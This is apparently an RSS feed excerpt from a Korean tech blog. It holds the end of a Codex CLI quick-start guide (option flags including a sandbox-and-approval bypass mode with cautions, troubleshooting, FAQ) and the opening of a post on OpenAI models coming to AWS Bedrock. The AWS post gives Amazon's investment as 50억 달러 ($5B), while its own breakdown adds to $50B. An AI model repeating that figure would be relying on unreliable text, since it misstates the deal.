&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;사용자 확인을 언제 받을지 선택 (&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;untrusted&lt;/code&gt; / &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;on-request&lt;/code&gt; / &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;never&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--dangerously-bypass-approvals-and-sandbox&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--yolo&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;격리와 승인 절차를 모두 끄는 고위험 옵션. 외부에서 충분히 격리된 실행 환경 전용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--add-dir&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;-&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;현재 작업 폴더 외에 추가로 쓰기 허용할 폴더 지정&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전체 옵션은 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex --help&lt;/code&gt; 또는 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/cli/reference&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 CLI reference(옵션 목록)&lt;/a&gt;에서 확인한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;처음 실행 시 자주 겪는 문제&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Codex CLI를 처음 설치하고 실행할 때 자주 마주칠 수 있는 상황과 대응법이다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;인증 토큰 만료&lt;/b&gt;: &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex&lt;/code&gt;를 실행했을 때 인증 오류가 발생하면 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex login&lt;/code&gt;을 다시 실행해 재인증한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;어떤 계정으로 로그인했는지 헷갈림&lt;/b&gt;: &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex login status&lt;/code&gt;로 확인하고, 계정을 바꾸려면 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex logout&lt;/code&gt; 후 다시 로그인한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Linux/WSL2에서 샌드박스 오류&lt;/b&gt;: &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;bubblewrap(bwrap)&lt;/code&gt;이 설치되지 않은 경우 발생할 수 있다. 패키지 매니저로 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;bubblewrap&lt;/code&gt;을 먼저 설치한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;패키지 설치나 외부 요청이 막힘&lt;/b&gt;: 기본적으로 네트워크 접근이 꺼져 있을 수 있다. Codex가 왜 네트워크가 필요한지 설명하게 한 뒤, 필요한 경우에만 승인하거나 설정을 바꾼다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;그 외 오류&lt;/b&gt;: 먼저 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/auth&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 인증 문서&lt;/a&gt;의 로그인 진단 안내와 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/app/troubleshooting&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 troubleshooting(문제 해결) 문서&lt;/a&gt;를 확인한다. 같은 증상이 없으면 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/openai/codex/issues&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub Issues(openai/codex)&lt;/a&gt;에서 오류 메시지를 그대로 검색한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Codex CLI를 지금 당장 써볼 상황 vs 잠시 미룰 상황&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;지금 쓸 때&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;잠시 미룰 때&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;혼자 개발하는 사이드 프로젝트&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;프로덕션 배포 직전 작업&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;리팩토링이나 테스트 보강&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;보안 민감 코드 직접 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;버그 재현/분석 탐색&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;팀 규칙 정의가 아직 없는 경우&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음 편(Part 2)에서는 Codex를 제대로 쓰기 위해 알아야 할 &lt;b&gt;Prompting, Memories, Sandboxing, Models&lt;/b&gt;를 정리한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;핵심은 단순하다. 어떻게 지시할지, Codex가 무엇을 기억하게 할지, 어디까지 실행하게 할지, 어떤 모델을 고를지에 대해서이다.&lt;/p&gt;
&lt;!-- 시리즈 네비게이션 박스 (하단) --&gt;
&lt;div style=&quot;background-color: #e8f4f8; border: 2px solid #0066cc; border-radius: 8px; padding: 15px; margin: 20px 0;&quot;&gt;&lt;b&gt;OpenAI Codex 개발자 시리즈&lt;/b&gt;
&lt;div style=&quot;margin-top: 10px; display: flex; gap: 10px; flex-wrap: wrap; align-items: center;&quot;&gt;&lt;span style=&quot;background-color: #0066cc; color: white; padding: 5px 12px; border-radius: 15px; font-size: 14px; font-weight: bold;&quot;&gt;Part 1: CLI 빠른 시작 (현재 글)&lt;/span&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/597&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 2: 핵심 개념 4가지 (예정)&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/598&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 3: Subagents &amp;middot; Workflows (예정)&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/599&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 4: AGENTS.md &amp;middot; Rules (예정)&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/600&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 5: MCP &amp;middot; Plugins &amp;middot; Skills (예정)&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/601&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 6: 자동화 (예정)&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/602&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 7: 마이그레이션 (예정)&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/603&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 8: 병행 사용 패턴 (예정)&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;!-- SEO FAQ: visible questions matched to FAQPage JSON-LD --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;자주 묻는 질문&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #f8fbff; border: 1px solid #cce5ff; border-radius: 8px; padding: 18px 20px; margin: 20px 0;&quot;&gt;
&lt;h3 style=&quot;font-size: 18px; color: #1a3a52; margin: 18px 0 8px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Codex CLI를 처음 설치할 때 어떤 방법이 가장 무난한가?&lt;/h3&gt;
&lt;p style=&quot;margin: 0 0 14px 0;&quot; data-ke-size=&quot;size16&quot;&gt;Node.js가 이미 있다면 npm 설치가 가장 단순하다. macOS 사용자는 Homebrew도 선택할 수 있고, 설치 직전 공식 quickstart와 GitHub README의 최신 표기를 함께 확인하는 편이 안전하다.&lt;/p&gt;
&lt;h3 style=&quot;font-size: 18px; color: #1a3a52; margin: 18px 0 8px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Codex CLI에서 sandbox와 approval은 무엇이 다른가?&lt;/h3&gt;
&lt;p style=&quot;margin: 0 0 14px 0;&quot; data-ke-size=&quot;size16&quot;&gt;sandbox는 Codex가 접근하거나 수정할 수 있는 파일과 네트워크 범위를 제한하는 울타리다. approval은 위험한 명령이나 제한 밖 작업을 실행하기 전에 사용자 확인을 받을지 정하는 정책이다.&lt;/p&gt;
&lt;h3 style=&quot;font-size: 18px; color: #1a3a52; margin: 18px 0 8px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;yolo 모드는 언제 써도 되는가?&lt;/h3&gt;
&lt;p style=&quot;margin: 0 0 14px 0;&quot; data-ke-size=&quot;size16&quot;&gt;위험을 정확히 이해하고, 버릴 수 있는 VM이나 임시 컨테이너처럼 격리된 환경을 준비한 경우에만 고려한다. 일반 프로젝트나 중요한 저장소에서는 기본 사용 모드로 두지 않는 편이 안전하다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 참고 자료 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;참고 자료&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/quickstart&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Quickstart&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/cli&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex CLI 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/ide&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex IDE Extension&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/cli/reference&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex CLI Reference&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/config-reference&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Config Reference&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/auth&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;인증 가이드&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/concepts/sandboxing&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Sandboxing 개념&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/learn/best-practices&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Best Practices&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://openai.com/ko-KR/index/introducing-upgrades-to-codex/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex가 업그레이드되었습니다&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/openai/codex&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub 저장소 (openai/codex)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;!-- 푸터 --&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 30px 0 10px; border: 1px solid #dee2e6; font-size: 14px; color: #6c757d;&quot;&gt;
&lt;p style=&quot;color: #6c757d; font-size: 14px; margin: 0 0 8px;&quot; data-ke-size=&quot;size16&quot;&gt;작성일: 2026년 5월 | 분석 대상 버전: Codex CLI (2026년 5월 기준)&lt;/p&gt;
&lt;p style=&quot;color: #6c757d; font-size: 14px; margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;이 글은 2026년 5월 기준으로 작성되었다. 이후 변경될 수 있다. 최신 정보는 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;에서 확인한다.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>AI/Codex 기초 사용방법</category>
      <category>ai 코딩 에이전트</category>
      <category>Codex CLI 빠른 시작</category>
      <category>Codex CLI 설치</category>
      <category>codex 기초</category>
      <category>codex 문법</category>
      <category>codex 사용방법</category>
      <category>codex 설치</category>
      <category>npm install codex</category>
      <category>OpenAI Codex CLI</category>
      <category>터미널 AI</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/596</guid>
      <comments>https://goddaehee.tistory.com/596#entry596comment</comments>
      <pubDate>Thu, 7 May 2026 01:34:01 +0900</pubDate>
    </item>
    <item>
      <title>OpenAI on AWS : AWS Bedrock으로 향한 GPT와 Codex 전략 - OpenAI가 Azure 독점을 벗어났다</title>
      <link>https://goddaehee.tistory.com/595</link>
      <description>&lt;!-- Sources:
  [S:https://openai.com/index/openai-on-aws/]
  [S:https://aws.amazon.com/about-aws/whats-new/2026/04/bedrock-openai-models-codex-managed-agents/]
  [S:https://www.cnbc.com/2026/04/28/openai-brings-models-to-aws-after-ending-exclusivity-with-microsoft.html]
  [S:https://techcrunch.com/2026/04/27/openai-ends-microsoft-legal-peril-over-its-50b-amazon-deal/]
  [S:https://techcrunch.com/2026/04/28/amazon-is-already-offering-new-openai-products-on-aws/]
  [S:https://www.geekwire.com/2026/amazon-invests-50b-in-openai-deepens-aws-partnership-with-expanded-100b-cloud-deal/]
  [S:https://www.axios.com/2026/04/28/openai-microsoft-cloud-amazon]
--&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2032&quot; data-origin-height=&quot;1090&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DcgLG/dJMb997loj8/0ppxzJfBXC0jbhPTBcOmqk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DcgLG/dJMb997loj8/0ppxzJfBXC0jbhPTBcOmqk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DcgLG/dJMb997loj8/0ppxzJfBXC0jbhPTBcOmqk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDcgLG%2FdJMb997loj8%2F0ppxzJfBXC0jbhPTBcOmqk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2032&quot; height=&quot;1090&quot; data-origin-width=&quot;2032&quot; data-origin-height=&quot;1090&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;OpenAI가 Microsoft의 품을 떠나 AWS에 올라탔다. 2026년 4월 28일, OpenAI는 GPT-5.5&amp;middot;Codex&amp;middot;Managed Agents를 Amazon Bedrock에 올리며 클라우드 AI 판도를 뒤흔들었다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2034&quot; data-origin-height=&quot;1110&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dGoTz7/dJMcaiiTOV8/FSA5iUqFRdrGlhhNrC4II1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dGoTz7/dJMcaiiTOV8/FSA5iUqFRdrGlhhNrC4II1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dGoTz7/dJMcaiiTOV8/FSA5iUqFRdrGlhhNrC4II1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdGoTz7%2FdJMcaiiTOV8%2FFSA5iUqFRdrGlhhNrC4II1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2034&quot; height=&quot;1110&quot; data-origin-width=&quot;2034&quot; data-origin-height=&quot;1110&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;단순한 파트너십 확장이 아니다. Amazon은 OpenAI에 50억 달러를 투자하고, 기존 380억 달러 계약을 8년간 1,000억 달러 추가 확대했다. AWS는 OpenAI 엔터프라이즈 플랫폼의 독점 외부 클라우드 배포처가 됐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;이번엔 세 가지 제품의 실체, 투자 구조, 개발자가 지금 당장 해야 할 것, 그리고 Azure와의 경쟁 구도 변화를 정리하려 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;&lt;!-- 목차 박스 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section1&quot;&gt;배경 &amp;mdash; Microsoft 독점 종료와 새 판세&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section2&quot;&gt;AWS에서 쓸 수 있는 세 가지 새 제품&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section3&quot;&gt;OpenAI Models on Bedrock &amp;mdash; GPT-5.5의 AWS 상륙&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section4&quot;&gt;Codex on AWS &amp;mdash; 4백만 사용자의 코딩 에이전트&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section5&quot;&gt;Bedrock Managed Agents &amp;mdash; 프로덕션 에이전트 인프라&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section6&quot;&gt;투자&amp;middot;딜 구조 &amp;mdash; 50억 달러 투자와 1,000억 달러 확장&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section7&quot;&gt;OpenAI Frontier &amp;mdash; AWS 독점 엔터프라이즈 플랫폼&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section8&quot;&gt;기술 통합 &amp;mdash; IAM, PrivateLink, Trainium, AgentCore&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section9&quot;&gt;개발자&amp;middot;기업에게 지금 당장 의미하는 것&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section10&quot;&gt;경쟁 구도 변화 &amp;mdash; Azure vs AWS vs Google&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section11&quot;&gt;현황 및 주의사항&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section12&quot;&gt;트러블슈팅 Q&amp;amp;A&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section13&quot;&gt;결론 &amp;mdash; 언제 쓰고, 언제 기다리는가&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- 요약 콜아웃 --&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px 25px; border-radius: 8px; border-left: 4px solid #0066cc; margin: 20px 0 30px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0; font-weight: bold; font-size: 17px; color: #0066cc;&quot; data-ke-size=&quot;size20&quot;&gt;이 글의 핵심 요약&lt;/p&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;2026-04-28&lt;/b&gt;: OpenAI, GPT-5.5&amp;middot;Codex&amp;middot;Bedrock Managed Agents를 Amazon Bedrock에 Limited Preview 출시 (출처: &lt;a href=&quot;https://openai.com/index/openai-on-aws/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI 공식 발표&lt;/a&gt;)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;하루 전(04-27)&lt;/b&gt;: Microsoft가 OpenAI 독점 라이선스를 비독점으로 전환, 법적 제약 해소 (출처: &lt;a href=&quot;https://techcrunch.com/2026/04/27/openai-ends-microsoft-legal-peril-over-its-50b-amazon-deal/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;TechCrunch&lt;/a&gt;)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Amazon, OpenAI에 &lt;b&gt;50억 달러 투자&lt;/b&gt;($15B 선행 + $35B 조건부) / AWS 클라우드 계약 &lt;b&gt;380억 &amp;rarr; +1,000억 달러(8년)&lt;/b&gt; 확장 (출처: &lt;a href=&quot;https://www.geekwire.com/2026/amazon-invests-50b-in-openai-deepens-aws-partnership-with-expanded-100b-cloud-deal/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GeekWire&lt;/a&gt;)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;AWS = &lt;b&gt;OpenAI Frontier 독점 외부 클라우드 배포처&lt;/b&gt; &amp;mdash; 엔터프라이즈 에이전트 플랫폼&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;세 제품 모두 Limited Preview. 가격 미공개, 몇 주 내 GA 예정 (출처: &lt;a href=&quot;https://aws.amazon.com/about-aws/whats-new/2026/04/bedrock-openai-models-codex-managed-agents/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;AWS What's New&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- 섹션 1 --&gt;
&lt;h2 id=&quot;section1&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 배경 &amp;mdash; Microsoft 독점 종료와 새 판세&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;!-- [S:https://techcrunch.com/2026/04/27/openai-ends-microsoft-legal-peril-over-its-50b-amazon-deal/] --&gt;&lt;/p&gt;
